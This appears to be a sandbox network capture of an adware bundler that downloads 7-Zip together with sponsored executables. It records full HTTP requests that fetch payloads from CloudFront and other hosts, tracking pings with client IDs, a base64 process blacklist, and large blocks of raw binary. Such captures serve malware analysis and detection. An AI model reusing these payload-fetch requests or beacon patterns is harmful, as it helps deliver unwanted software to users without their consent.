.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=9e6180970114bd468bddca6b91fb0979&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=9344b29550cc9b119856a386936a015a&tokyo_csrf2_timestamp=1420692913&slot_number=3&index_in_screen=1&index_in_session=3&0.9637991849513476 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/9e6180970114bd468bddca6b91fb0979?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.5.10.1420692778; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __utmc=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:56:27 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:56:27 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8633e8ff-d126-44fc-b616-75bd1c6bb147&Password=UR5lCzgR&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1420692792&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=jz1e1q45ikgezlf1wzoex5uz


HTTP/1.1 200 OK

Connection: close

Date: Thu, 08 Jan 2015 04:53:32 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: O86jZbR3H_Dz3rgj_npWm2pil7Ynt8IZzYxerPqO2cky4bX8Hzqk0g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=115620-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 192700

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 115620-308319/308320

e.s.-.d.o...e.s.-.e.c...e.s.-.e.s...e.s.-.g.t...e.s.-.h.n...e.s.-.m.x.
..e.s.-.n.i...e.s.-.p.a...e.s.-.p.e...e.s.-.p.r...e.s.-.p.y...e.s.-.s.
v...e.s.-.u.y...e.s.-.v.e...e.t.-.e.e...e.u.-.e.s...f.a.-.i.r...f.i.-.
f.i...f.o.-.f.o...f.r.-.b.e...f.r.-.c.a...f.r.-.c.h...f.r.-.f.r...f.r.
-.l.u...f.r.-.m.c...g.l.-.e.s...g.u.-.i.n...h.e.-.i.l...h.i.-.i.n...h.
r.-.b.a...h.r.-.h.r...h.u.-.h.u...h.y.-.a.m...i.d.-.i.d...i.s.-.i.s...
i.t.-.c.h...i.t.-.i.t...j.a.-.j.p...k.a.-.g.e...k.k.-.k.z...k.n.-.i.n.
..k.o.k.-.i.n.....k.o.-.k.r...k.y.-.k.g...l.t.-.l.t...l.v.-.l.v...m.i.
-.n.z...m.k.-.m.k...m.l.-.i.n...m.n.-.m.n...m.r.-.i.n...m.s.-.b.n...m.
s.-.m.y...m.t.-.m.t...n.b.-.n.o...n.l.-.b.e...n.l.-.n.l...n.n.-.n.o...
n.s.-.z.a...p.a.-.i.n...p.l.-.p.l...p.t.-.b.r...p.t.-.p.t...q.u.z.-.b.
o.....q.u.z.-.e.c.....q.u.z.-.p.e.....r.o.-.r.o...r.u.-.r.u...s.a.-.i.
n...s.e.-.f.i...s.e.-.n.o...s.e.-.s.e...s.k.-.s.k...s.l.-.s.i...s.m.a.
-.n.o.....s.m.a.-.s.e.....s.m.j.-.n.o.....s.m.j.-.s.e.....s.m.n.-.f.i.
....s.m.s.-.f.i.....s.q.-.a.l...s.r.-.b.a.-.c.y.r.l.....s.r.-.b.a.-.l.
a.t.n.....s.r.-.s.p.-.c.y.r.l.....s.r.-.s.p.-.l.a.t.n.....s.v.-.f.i...
s.v.-.s.e...s.w.-.k.e...s.y.r.-.s.y.....t.a.-.i.n...t.e.-.i.n...t.h.-.
t.h...t.n.-.z.a...t.r.-.t.r...t.t.-.r.u...u.k.-.u.a...u.r.-.p.k...u.z.
-.u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.
h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n...z.h.-.h.k...z.h.-.m.o...z.h.
-.s.g...z.h.-.t.w...z.u.-.z.a...................................... !"
#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^

<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71389-142779

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71391

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71389-142779/285558

Age: 3472

X-Cache: Hit from cloudfront

Via: 1.1 1af3b41af1ae11562aeae8eb3a73224a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: h2j2IZIxAiqiUdalDu_doGVVhu7S6kQRLbO3woDVzKjBCWan1uqjhQ==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-815616

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 407809

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:08:01 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-815616/1631232

X-Cache: Hit from cloudfront

Via: 1.1 f76d36fc464e1d1e27df9c0172edbc49.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _jBPkxLdq3OyJk6m9j9ozo4XA5Sg_v4P2d7JRE3_aAnxYLYG1UoDQg==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%[email protected]..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} [email protected]....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}[email protected]..=..J..
....J......;.s$f.A.......Y..a$.f.A%[email protected].......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%[email protected].
....F.P....G..F.."[email protected][email protected].<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
....<<< skipped >>>

GET /ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

DNT: 1

Connection: Keep-Alive

Host: VVV.google.com


HTTP/1.1 302 Found

Location: hXXp://VVV.google.com.ua/ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210&ipr=y

Cache-Control: private, max-age=43200

Date: Thu, 08 Jan 2015 04:54:23 GMT

Expires: Thu, 08 Jan 2015 04:54:23 GMT

Content-Type: text/html; charset=UTF-8

X-Content-Type-Options: nosniff

Server: adclick_server

Content-Length: 951

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/ads/conversion/971163981/?rand
om=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&l
abel=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=9
01&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&
;u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&ur
l=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4%
26VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,%2
6VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer%3
DWindows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&Bun
dleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_prese
nt=false&cdct=2&convclickts=0&random=3062278210&ipr=y"
>here</A>...</BODY></HTML>....<<< skipped >>>

GET /app/ping.ashx?e=wlkQ3WKgYpRPNjxRBLtb453nP6cJ9p2YjPtK5w/dU0Nep0NzDIMSG9DLqLHxLpkMub ZrrC FYd4ibS7Xw5g1/Eh6MhNwuPKYtlM6o Ldza8zhm7PCJPoTnyoq vkmpgx13 Ii9805eFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aBdviNsPXm6GNAxCMMVg3AzYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2Kzb3V6O21GxuBMcUf8UemKAaLTBbHYTI HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: image/gif

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:16 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Thu, 08 Jan 2015 04:53:16 GMT..Content-Length: 0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&0.6907108293963664 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Thu, 08 Jan 2015 05:26:00 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
Wt..*...e.{.uc.^N......s.....Z....:_6{I.HN{.m....w.Q....?.(.......RB..
.....4;.]...O.<<88.h9/q>.P..(.k.,.Ho.E<..<.....,[.{.km6
g.UP3;...E..............Q6.<..e..d........2.-~.k......y..Sh.."....8
.?i%...S.."..*..k.j.6...2..oW.l....|.SVum....Ze..t\.m.....`B.....a.1..
..\[email protected]...]L.{Z.}....t.....A....m.t=..y..^.8|...:Z/
.^...O.U.4..S.(_...G{7..9h%w..i[/.....zyc}....f.U.=..V.S....U..o7.....
.....2..l...z...f..........w.S..x.....O}....%./.l<.B.{F.Z......'".O
........s..Ma}..7..............Db..;$RA.T.......u..41O..H....A..qen.I:
...`]...Kn...EG...F.2.....K....FW....._.........H..7.f.6...zq..[...L..
vg.JT)..C...:.>......5......D.# ....zB.A...1...V3..S...Q...Q.<OU
&a...=-..(z.O[I9x.....g..0...H.;...m...9N..,A>....[.....]9.".q.Q|.&
lt;..f.:.Lzuj..fj*......5.........9`..AG.|...BW...V...6.9kD.7....\....
.ax?.$C.4.k.../.Uhe..z.;Z]O'.fc..<.....V.i~xx....Q{...Y~q.N../!...K
i....&......I.}.ZmM..4...r`.&..D...3_9..h?.....R.A)....U.l......f....r
~.<.-..T.....2.%..R..S..y!.=_...4Z.>.Q.r.......e6R=.......h.i..V
...1..m.v .....;.G8..cp0,E#.....o_f.o.....^w......F.S...&_.}.$....<<< skipped >>>

GET /res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default5435&xdm_p=1 HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Thu, 08 Jan 2015 04:54:22 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT

ETag: W/"226cdf70832ad01:0"

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip

9c............-.... .E....8.....@.>..p..[b.PK`"...qu&g.........va=M
...e!K.}..=.; ..y....p'..T2....e.$.dM#...........d...?.Z`....F......K%
..S>.n.....w../".........0..HTTP/1.1 200 OK..Date: Thu, 08 Jan 2015
 04:54:22 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Co
nnection: keep-alive..Last-Modified: Wed, 07 Jan 2015 14:08:41 GMT..ET
ag: W/"226cdf70832ad01:0"..X-Powered-By: ASP.NET..Server: NetDNA-cache
/2.2..X-Cache: HIT..Content-Encoding: gzip..9c............-.... .E....
8.....@.>..p..[b.PK`"...qu&g.........va=M...e!K.}..=.; ..y....p'..T
2....e.$.dM#...........d...?.Z`....F......K%..S>.n.....w../".......
..0......

GET /res/beat/204/Beat.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://VVV.youtubeaccelerator.com&xdm_c=default5435&xdm_p=1

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

